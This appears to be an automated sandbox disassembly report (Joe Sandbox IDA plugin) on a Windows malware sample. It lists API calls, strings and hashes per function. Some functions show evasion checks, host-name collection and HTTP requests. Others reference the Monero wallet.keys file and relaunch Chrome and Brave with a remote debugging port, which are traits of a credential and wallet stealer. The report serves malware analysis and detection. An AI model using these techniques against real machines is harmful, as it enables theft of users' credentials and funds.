Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: bd7108108cbf49a10addb1e55ace8d268fb3cb4147b2e77d2e18dd9247b54827
Instruction ID: 736061579f2af692a76257332096409aaee8c6e4abf29c1d4fe84ccbdde335e9
Opcode Fuzzy Hash: bd7108108cbf49a10addb1e55ace8d268fb3cb4147b2e77d2e18dd9247b54827
Instruction Fuzzy Hash: AD31FC71A04208ABCF04FBF0DC5EAEE7779AF04741F144918F61266191DF706A05A7A6

Function 00C81220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00C8123E
__aulldiv.LIBCMT ref: 00C81258
__aulldiv.LIBCMT ref: 00C81266
ExitProcess.KERNEL32 ref: 00C81294

Strings

@, xrefs: 00C81233

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ce8f771c87ca399674f85e3820771fafb13f9c49ab58427d646832a60552cf64
Instruction ID: 4d3c1fde18ef1c3a5d1b1678a8875d863c3412e07df9f871b603abf99375df05
Opcode Fuzzy Hash: ce8f771c87ca399674f85e3820771fafb13f9c49ab58427d646832a60552cf64
Instruction Fuzzy Hash: C10112B0D44308BBDF10EFE4DD49BADB7BCAB14709F148448EB05B61C0D674554697A9

Function 00C96D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01528A30,?,00CA10F4,?,00000000,?,00CA10F8,?,00000000,00CA0AF3), ref: 00C96D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00C96D88
CloseHandle.KERNEL32(00000000), ref: 00C96D99
Sleep.KERNEL32(00001770), ref: 00C96DA4
CloseHandle.KERNEL32(?,00000000,?,01528A30,?,00CA10F4,?,00000000,?,00CA10F8,?,00000000,00CA0AF3), ref: 00C96DBA
ExitProcess.KERNEL32 ref: 00C96DC2

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 9ad9bc0bb670559f25f5807298732b0ec68c4b42b9af224b2786140f70be5f37
Instruction ID: a739985c1013939c8cfd06ad3c7244faa42341b03df62b8c935d8fb9da0bc1f3
Opcode Fuzzy Hash: 9ad9bc0bb670559f25f5807298732b0ec68c4b42b9af224b2786140f70be5f37
Instruction Fuzzy Hash: AAF01231A48709AFEF10BBA0EC0EBBE7774AF04B42F200515B622A51D5DBB05640EAA5

Function 00C84800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C84889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00C84899

Strings

<, xrefs: 00C84819

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 2e41ff5367251f77cec2d1d4aba37df21fcceac36601e0729786880e2de03d2c
Instruction ID: 1a851d40d4a36b0deebdd1f983bd16e4c7215776254afd98e9d3cca447df6b3f
Opcode Fuzzy Hash: 2e41ff5367251f77cec2d1d4aba37df21fcceac36601e0729786880e2de03d2c
Instruction Fuzzy Hash: 6E214FB1D00208ABDF14EFA5EC4AADD7B78FB44321F108625F915A72D0DB706A0ACF91

Function 00C95440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

Part of subcall function 00C862D0: InternetOpenA.WININET(00CA0DFF,00000001,00000000,00000000,00000000), ref: 00C86331
Part of subcall function 00C862D0: StrCmpCA.SHLWAPI(?,0152E3C0), ref: 00C86353
Part of subcall function 00C862D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C86385
Part of subcall function 00C862D0: HttpOpenRequestA.WININET(00000000,GET,?,0152DA28,00000000,00000000,00400100,00000000), ref: 00C863D5
Part of subcall function 00C862D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00C8640F
Part of subcall function 00C862D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C86421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C95478

Strings

ERROR, xrefs: 00C9546A
ERROR, xrefs: 00C954C3

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: f146b2770919ccc8edf60b012399a330583b9eaeef4d62d01ad92fbad09806a7
Instruction ID: f7bc433d0cf4daa2649d9a25a9b73ac46fa84453e7ac13ade04ff95d4fe5f0af
Opcode Fuzzy Hash: f146b2770919ccc8edf60b012399a330583b9eaeef4d62d01ad92fbad09806a7
Instruction Fuzzy Hash: 0B110C31900108ABCF14FFA4DD9AAED7779AF50340F504568F91A5B492EF30AB05EBD5

Function 00C97A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C97AA0
RtlAllocateHeap.NTDLL(00000000), ref: 00C97AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00C97ABF

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 83f98132bfaf55fafc8749c59255c4f48a0a688e3853542def28eb36b2fcb818
Instruction ID: c524136019a029d161887495f45c298083ea0da395165bf4944aca866cf331c0
Opcode Fuzzy Hash: 83f98132bfaf55fafc8749c59255c4f48a0a688e3853542def28eb36b2fcb818
Instruction Fuzzy Hash: 6F0186B1A08349ABCB00DF99DD49BAFBBB8F704711F100219F605E2280D7745A00DBA1

Function 00C81110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00C8112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00C81132
ExitProcess.KERNEL32 ref: 00C81143

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 9b45ceba09703a4db38d3d2400d396cf6c9d6b957c13dec347621677eb38040c
Instruction ID: 885a0ec84be67c36dfe7fc8b35f7d9a33c1d11eb2ac9266ba7bd8cf3875fd0c2
Opcode Fuzzy Hash: 9b45ceba09703a4db38d3d2400d396cf6c9d6b957c13dec347621677eb38040c
Instruction Fuzzy Hash: FAE0E67094930CFBE7107B91AD0EB5D76AC9B04B16F100155FB09765D0C7B52640AA9D

Function 00C810A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00C810B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00C810F7

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: eb75e8afe980fb891a798076a42edb192aa98a8cfa185d64a7dc418007cb5ce7
Instruction ID: e26e04dbae7b1901c81ff910f6e0e920653b64fa94eff94bd3029739c3c4286b
Opcode Fuzzy Hash: eb75e8afe980fb891a798076a42edb192aa98a8cfa185d64a7dc418007cb5ce7
Instruction Fuzzy Hash: 9FF0A7B1641318BBEB14AAB4AC59FAFB7DCE705B05F300448FA04E7281D6719F04DBA4

Function 00C81190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00C97A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C97AA0
Part of subcall function 00C97A70: RtlAllocateHeap.NTDLL(00000000), ref: 00C97AA7
Part of subcall function 00C97A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00C97ABF

Part of subcall function 00C979E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00C811B7), ref: 00C97A10
Part of subcall function 00C979E0: RtlAllocateHeap.NTDLL(00000000), ref: 00C97A17
Part of subcall function 00C979E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00C97A2F

ExitProcess.KERNEL32 ref: 00C811C6

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: e837cc47181dae47c1d070dc8f866ff36bf9e7604444f12d4c44953e70e52372
Instruction ID: 455610a0d4df5aade0cf2ca6b910dd3bd6db82fa22571c488ce7cd60206c4e56
Opcode Fuzzy Hash: e837cc47181dae47c1d070dc8f866ff36bf9e7604444f12d4c44953e70e52372
Instruction Fuzzy Hash: 9AE0E2A591830953CE1073B8BC0EB2A32CC5B1560FF090814FA18D3142EE25E906A2A9

Non-executed Functions

Function 00C8BE40 Relevance: 58.5, APIs: 26, Strings: 7, Instructions: 730fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

FindFirstFileA.KERNEL32(00000000,?,00CA0B32,00CA0B2F,00000000,?,?,?,00CA1450,00CA0B2E), ref: 00C8BEC5
StrCmpCA.SHLWAPI(?,00CA1454), ref: 00C8BF33
StrCmpCA.SHLWAPI(?,00CA1458), ref: 00C8BF49
FindNextFileA.KERNEL32(000000FF,?), ref: 00C8C8A9
FindClose.KERNEL32(000000FF), ref: 00C8C8BB

Strings

Google Chrome, xrefs: 00C8C6F8
--remote-debugging-port=9229 --profile-directory=", xrefs: 00C8C534
\Brave\Preferences, xrefs: 00C8C1C1
--remote-debugging-port=9229 --profile-directory=", xrefs: 00C8C3B2
--remote-debugging-port=9229 --profile-directory=", xrefs: 00C8C495
Preferences, xrefs: 00C8C104
Brave, xrefs: 00C8C0E8

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-1869280968
Opcode ID: 47b591bcffcc1b1d187e617cafc2dd08990a4512c9de5c8d7b14be9f4721e3a9
Instruction ID: a8fe79d155db439121bbaec6099b18a30880d4361501b576c0d1337a2f09c891
Opcode Fuzzy Hash: 47b591bcffcc1b1d187e617cafc2dd08990a4512c9de5c8d7b14be9f4721e3a9
Instruction Fuzzy Hash: AE5213725102089BCF14FB70DD9AEEE737DAF54305F404598B50AA6091EE34AB48EFE6

Function 00C93B00 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C93B1C
FindFirstFileA.KERNEL32(?,?), ref: 00C93B33
lstrcat.KERNEL32(?,?), ref: 00C93B85
StrCmpCA.SHLWAPI(?,00CA0F58), ref: 00C93B97
StrCmpCA.SHLWAPI(?,00CA0F5C), ref: 00C93BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00C93EB7
FindClose.KERNEL32(000000FF), ref: 00C93ECC

Strings

%s\%s, xrefs: 00C93BCA
%s\%s, xrefs: 00C93CBF
%s%s, xrefs: 00C93CFD
%s\*, xrefs: 00C93B10
%s\%s\%s, xrefs: 00C93C9A

Memory Dump Source

